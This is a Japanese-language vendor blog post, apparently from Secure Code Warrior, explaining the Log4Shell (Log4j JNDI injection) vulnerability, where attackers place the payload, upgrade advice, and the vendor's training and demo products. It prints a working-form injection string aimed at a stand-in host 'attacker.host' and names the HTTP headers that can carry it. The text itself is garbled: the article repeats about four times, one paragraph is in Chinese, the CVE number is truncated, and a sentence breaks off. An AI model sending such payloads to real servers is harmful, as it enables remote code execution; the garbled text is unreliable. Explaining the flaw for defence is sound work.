Log4j脆弱性の詳細解説－攻撃ベクターとその防御方法
12月9日、JavaライブラリLog4jに存在した0日脆弱性が公表された。CVE-44228（ 通称Log4Shell ） は、リモートコード実行を引き起こす可能性から「高深刻度」評価（Critical）を受けた。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであるため、数百万のアプリケーションが危険に晒されている。
Log4Shellのスキルを素早く向上させたいですか？
私たちは、Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性を悪用する体験までを案内するデモ環境を構築しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを理解していただきます。デモ環境に直接アクセスするにはこちらをクリック、または脆弱性の詳細について読み進めてください。
古いニュース？
この脆弱性は決して新しいものではない。セキュリティ研究者たちは2016年のBlackHat講演で、アルバロ・ムニョスとオレクサンドル・ミロシュが「アプリケーションは信頼できないデータでJNDIクエリを実行すべきではない」と強調し、標的型JNDI/LDAPインジェクションがリモートコード実行を引き起こす仕組みを説明していた。そしてこれこそがLog4Shellの中核である。
攻撃ベクトル
Log4Shell の注入ペイロードは以下の通りです：
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。
次に JNDI（Java Naming and Directory Interface）について説明します。これは、LDAP、DNS、RMI などのプロトコルを使用してサービスに接続し、データやリソースを取得することを可能にする API です。簡単に言えば、上記の悪意のあるペイロードの例では、JNDI が攻撃者が制御する LDAP サーバーに対してクエリを実行します。例えば、その応答は悪意のあるコードを含む Java クラスファイルを指し示す可能性があり、その見返りとして、そのファイルは脆弱なサーバー上で実行されます。
この脆弱性が深刻な問題となる理由は、Log4jがすべてのログエントリを評価し、「jndi」で始まるEL構文で記述された記録済みユーザー入力をすべてクエリするためです。フォームフィールドなど、ユーザーが入力可能なあらゆる場所にペイロードを注入できます。さらに、ユーザーエージェントやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運ぶことも可能です。
自ら脆弱性を体験するには、展示エリアへお越しいただき、ステップ2「影響力を体感する」へお進みください。
予防：意識
Log4jは脆弱なコードの修正を継続しているため、すべてのアプリケーションのアップグレードを推奨します。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月下旬以降は2.17.0へのアップグレードが推奨されます。
開発者がコードを書く際には、常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリの使用がリスクを伴うことを教えてくれました。外部リソースを利用することがアプリケーションのセキュリティを損なう可能性があるという事実を認識すべきであり、私たちは無邪気に外部リソースが安全だと信じています。
この脆弱性は予防できるか？できる場合とできない場合がある。一方で、開発者がより多くのことを行えるのは、サードパーティ製ソフトウェアを通じて脆弱なコンポーネントが導入された場合に限られる。他方で、ここから得られる教訓は繰り返し強調されるものであり、ユーザーの入力は決して信用してはならないということだ。
セキュアコードウォリアー（SCW）は、セキュリティ意識の高い開発者がコードの脆弱性を防ぐ最善策であると考えています。SCWが特定のプログラミングフレームワーク向けトレーニングを大規模に提供しているため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できます。また、SCWトレーニングを受けたセキュリティサポーターの力を借りて、Log4jのアップグレードを加速させています。
特にJava開発者向けに、Secure Code Warrior SenseiSecure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの強制適用や脆弱性の予防・修正に活用できます。独自のルールを作成できるほか、当社の既成ルール「レシピ」も利用可能です。レシピを閲覧する際は、Log4Shell脆弱性を瞬時に発見・修正できるLog4jレシピのダウンロードもお忘れなく。
Log4Shell に対する防御スキルを向上させる
このブログ記事で学んだことを実践してみませんか？当社のデモ環境がそれを実現します。デモの冒頭で脆弱性の概要を説明した後、シミュレーション環境へご案内します。そこでガイドに従い、実際に脆弱性を再現する手順を試すことができます。
2021年12月、JavaライブラリLog4jにおいて重大なセキュリティ脆弱性Log4Shellが公表されました。本稿では、Log4Shell脆弱性を最も簡潔な形で分解し、基礎知識の習得を容易にするとともに、ある課題——つまり、この脆弱性の理解を活用して模擬サイトへの攻撃を試みることができる「練習場」——を紹介します。
Secure Code Warriorは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を醸成するお手伝いをします。AppSecマネージャー、開発者、最高情報セキュリティ責任者（CISO）、あるいはセキュリティに関わるあらゆる方々の組織において、不安全なコードに関連するリスクの低減を支援します。
デモを予約する
Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。
12月9日、JavaライブラリLog4jに存在した0日脆弱性が公表された。CVE-44228（ 通称Log4Shell ） は、リモートコード実行を引き起こす可能性から「高深刻度」評価（Critical）を受けた。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであるため、数百万のアプリケーションが危険に晒されている。
Log4Shellのスキルを素早く向上させたいですか？
私たちは、Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性を悪用する体験までを案内するデモ環境を構築しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを理解していただきます。デモ環境に直接アクセスするにはこちらをクリック、または脆弱性の詳細について読み進めてください。
古いニュース？
この脆弱性は決して新しいものではない。セキュリティ研究者たちは2016年のBlackHat講演で、アルバロ・ムニョスとオレクサンドル・ミロシュが「アプリケーションは信頼できないデータでJNDIクエリを実行すべきではない」と強調し、標的型JNDI/LDAPインジェクションがリモートコード実行を引き起こす仕組みを説明していた。そしてこれこそがLog4Shellの中核である。
攻撃ベクトル
Log4Shell の注入ペイロードは以下の通りです：
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。
次に JNDI（Java Naming and Directory Interface）について説明します。これは、LDAP、DNS、RMI などのプロトコルを使用してサービスに接続し、データやリソースを取得することを可能にする API です。簡単に言えば、上記の悪意のあるペイロードの例では、JNDI が攻撃者が制御する LDAP サーバーに対してクエリを実行します。例えば、その応答は悪意のあるコードを含む Java クラスファイルを指し示す可能性があり、その見返りとして、そのファイルは脆弱なサーバー上で実行されます。
この脆弱性が深刻な問題となる理由は、Log4jがすべてのログエントリを評価し、「jndi」で始まるEL構文で記述された記録済みユーザー入力をすべてクエリするためです。フォームフィールドなど、ユーザーが入力可能なあらゆる場所にペイロードを注入できます。さらに、ユーザーエージェントやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運ぶことも可能です。
自ら脆弱性を体験するには、展示エリアへお越しいただき、ステップ2「影響力を体感する」へお進みください。
予防：意識
Log4jは脆弱なコードの修正を継続しているため、すべてのアプリケーションのアップグレードを推奨します。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月下旬以降は2.17.0へのアップグレードが推奨されます。
開発者がコードを書く際には、常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリの使用がリスクを伴うことを教えてくれました。外部リソースを利用することがアプリケーションのセキュリティを損なう可能性があるという事実を認識すべきであり、私たちは無邪気に外部リソースが安全だと信じています。
この脆弱性は予防できるか？できる場合とできない場合がある。一方で、開発者がより多くのことを行えるのは、サードパーティ製ソフトウェアを通じて脆弱なコンポーネントが導入された場合に限られる。他方で、ここから得られる教訓は繰り返し強調されるものであり、ユーザーの入力は決して信用してはならないということだ。
セキュアコードウォリアー（SCW）は、セキュリティ意識の高い開発者がコードの脆弱性を防ぐ最善策であると考えています。SCWが特定のプログラミングフレームワーク向けトレーニングを大規模に提供しているため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できます。また、SCWトレーニングを受けたセキュリティサポーターの力を借りて、Log4jのアップグレードを加速させています。
特にJava開発者向けに、Secure Code Warrior SenseiSecure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの強制適用や脆弱性の予防・修正に活用できます。独自のルールを作成できるほか、当社の既成ルール「レシピ」も利用可能です。レシピを閲覧する際は、Log4Shell脆弱性を瞬時に発見・修正できるLog4jレシピのダウンロードもお忘れなく。
Log4Shell に対する防御スキルを向上させる
このブログ記事で学んだことを実践してみませんか？当社のデモ環境がそれを実現します。デモの冒頭で脆弱性の概要を説明した後、シミュレーション環境へご案内します。そこでガイドに従い、実際に脆弱性を再現する手順を試すことができます。
12月9日、JavaライブラリLog4jに存在した0日脆弱性が公表された。CVE-44228（ 通称Log4Shell ） は、リモートコード実行を引き起こす可能性から「高深刻度」評価（Critical）を受けた。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであるため、数百万のアプリケーションが危険に晒されている。
Log4Shellのスキルを素早く向上させたいですか？
私たちは、Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性を悪用する体験までを案内するデモ環境を構築しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを理解していただきます。デモ環境に直接アクセスするにはこちらをクリック、または脆弱性の詳細について読み進めてください。
古いニュース？
この脆弱性は決して新しいものではない。セキュリティ研究者たちは2016年のBlackHat講演で、アルバロ・ムニョスとオレクサンドル・ミロシュが「アプリケーションは信頼できないデータでJNDIクエリを実行すべきではない」と強調し、標的型JNDI/LDAPインジェクションがリモートコード実行を引き起こす仕組みを説明していた。そしてこれこそがLog4Shellの中核である。
攻撃ベクトル
Log4Shell の注入ペイロードは以下の通りです：
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。
次に JNDI（Java Naming and Directory Interface）について説明します。これは、LDAP、DNS、RMI などのプロトコルを使用してサービスに接続し、データやリソースを取得することを可能にする API です。簡単に言えば、上記の悪意のあるペイロードの例では、JNDI が攻撃者が制御する LDAP サーバーに対してクエリを実行します。例えば、その応答は悪意のあるコードを含む Java クラスファイルを指し示す可能性があり、その見返りとして、そのファイルは脆弱なサーバー上で実行されます。
この脆弱性が深刻な問題となる理由は、Log4jがすべてのログエントリを評価し、「jndi」で始まるEL構文で記述された記録済みユーザー入力をすべてクエリするためです。フォームフィールドなど、ユーザーが入力可能なあらゆる場所にペイロードを注入できます。さらに、ユーザーエージェントやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運ぶことも可能です。
自ら脆弱性を体験するには、展示エリアへお越しいただき、ステップ2「影響力を体感する」へお進みください。
予防：意識
Log4jは脆弱なコードの修正を継続しているため、すべてのアプリケーションのアップグレードを推奨します。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月下旬以降は2.17.0へのアップグレードが推奨されます。
開発者がコードを書く際には、常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリの使用がリスクを伴うことを教えてくれました。外部リソースを利用することがアプリケーションのセキュリティを損なう可能性があるという事実を認識すべきであり、私たちは無邪気に外部リソースが安全だと信じています。
この脆弱性は予防できるか？できる場合とできない場合がある。一方で、開発者がより多くのことを行えるのは、サードパーティ製ソフトウェアを通じて脆弱なコンポーネントが導入された場合に限られる。他方で、ここから得られる教訓は繰り返し強調されるものであり、ユーザーの入力は決して信用してはならないということだ。
セキュアコードウォリアー（SCW）は、セキュリティ意識の高い開発者がコードの脆弱性を防ぐ最善策であると考えています。SCWが特定のプログラミングフレームワーク向けトレーニングを大規模に提供しているため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できます。また、SCWトレーニングを受けたセキュリティサポーターの力を借りて、Log4jのアップグレードを加速させています。
特にJava開発者向けに、Secure Code Warrior SenseiSecure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの強制適用や脆弱性の予防・修正に活用できます。独自のルールを作成できるほか、当社の既成ルール「レシピ」も利用可能です。レシピを閲覧する際は、Log4Shell脆弱性を瞬時に発見・修正できるLog4jレシピのダウンロードもお忘れなく。
Log4Shell に対する防御スキルを向上させる
このブログ記事で学んだことを実践してみませんか？当社のデモ環境がそれを実現します。デモの冒頭で脆弱性の概要を説明した後、シミュレーション環境へご案内します。そこでガイドに従い、実際に脆弱性を再現する手順を試すことができます。
以下のリンクをクリックして、このリソースのPDFをダウンロードしてください。
Secure Code Warriorは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を醸成するお手伝いをします。AppSecマネージャー、開発者、最高情報セキュリティ責任者（CISO）、あるいはセキュリティに関わるあらゆる方々の組織において、不安全なコードに関連するリスクの低減を支援します。
レポートを確認するデモを予約する
Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。
12月9日、JavaライブラリLog4jに存在した0日脆弱性が公表された。CVE-44228（ 通称Log4Shell ） は、リモートコード実行を引き起こす可能性から「高深刻度」評価（Critical）を受けた。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであるため、数百万のアプリケーションが危険に晒されている。
Log4Shellのスキルを素早く向上させたいですか？
私たちは、Log4Shellの基本概念から、Missionというシミュレーターでこの脆弱性を悪用する体験までを案内するデモ環境を構築しました。このミッションでは、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与えるかを理解していただきます。デモ環境に直接アクセスするにはこちらをクリック、または脆弱性の詳細について読み進めてください。
古いニュース？
この脆弱性は決して新しいものではない。セキュリティ研究者たちは2016年のBlackHat講演で、アルバロ・ムニョスとオレクサンドル・ミロシュが「アプリケーションは信頼できないデータでJNDIクエリを実行すべきではない」と強調し、標的型JNDI/LDAPインジェクションがリモートコード実行を引き起こす仕組みを説明していた。そしてこれこそがLog4Shellの中核である。
攻撃ベクトル
Log4Shell の注入ペイロードは以下の通りです：
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。
次に JNDI（Java Naming and Directory Interface）について説明します。これは、LDAP、DNS、RMI などのプロトコルを使用してサービスに接続し、データやリソースを取得することを可能にする API です。簡単に言えば、上記の悪意のあるペイロードの例では、JNDI が攻撃者が制御する LDAP サーバーに対してクエリを実行します。例えば、その応答は悪意のあるコードを含む Java クラスファイルを指し示す可能性があり、その見返りとして、そのファイルは脆弱なサーバー上で実行されます。
この脆弱性が深刻な問題となる理由は、Log4jがすべてのログエントリを評価し、「jndi」で始まるEL構文で記述された記録済みユーザー入力をすべてクエリするためです。フォームフィールドなど、ユーザーが入力可能なあらゆる場所にペイロードを注入できます。さらに、ユーザーエージェントやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運ぶことも可能です。
自ら脆弱性を体験するには、展示エリアへお越しいただき、ステップ2「影響力を体感する」へお進みください。
予防：意識
Log4jは脆弱なコードの修正を継続しているため、すべてのアプリケーションのアップグレードを推奨します。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月下旬以降は2.17.0へのアップグレードが推奨されます。
開発者がコードを書く際には、常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリの使用がリスクを伴うことを教えてくれました。外部リソースを利用することがアプリケーションのセキュリティを損なう可能性があるという事実を認識すべきであり、私たちは無邪気に外部リソースが安全だと信じています。
この脆弱性は予防できるか？できる場合とできない場合がある。一方で、開発者がより多くのことを行えるのは、サードパーティ製ソフトウェアを通じて脆弱なコンポーネントが導入された場合に限られる。他方で、ここから得られる教訓は繰り返し強調されるものであり、ユーザーの入力は決して信用してはならないということだ。
セキュアコードウォリアー（SCW）は、セキュリティ意識の高い開発者がコードの脆弱性を防ぐ最善策であると考えています。SCWが特定のプログラミングフレームワーク向けトレーニングを大規模に提供しているため、企業顧客はレポートデータを活用して影響を受けるJava開発者を迅速に特定できます。また、SCWトレーニングを受けたセキュリティサポーターの力を借りて、Log4jのアップグレードを加速させています。
特にJava開発者向けに、Secure Code Warrior SenseiSecure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの強制適用や脆弱性の予防・修正に活用できます。独自のルールを作成できるほか、当社の既成ルール「レシピ」も利用可能です。レシピを閲覧する際は、Log4Shell脆弱性を瞬時に発見・修正できるLog4jレシピのダウンロードもお忘れなく。
Log4Shell に対する防御スキルを向上させる
このブログ記事で学んだことを実践してみませんか？当社のデモ環境がそれを実現します。デモの冒頭で脆弱性の概要を説明した後、シミュレーション環境へご案内します。そこでガイドに従い、実際に脆弱性を再現する手順を試すことができます。
%20(1).avif)
.avif)
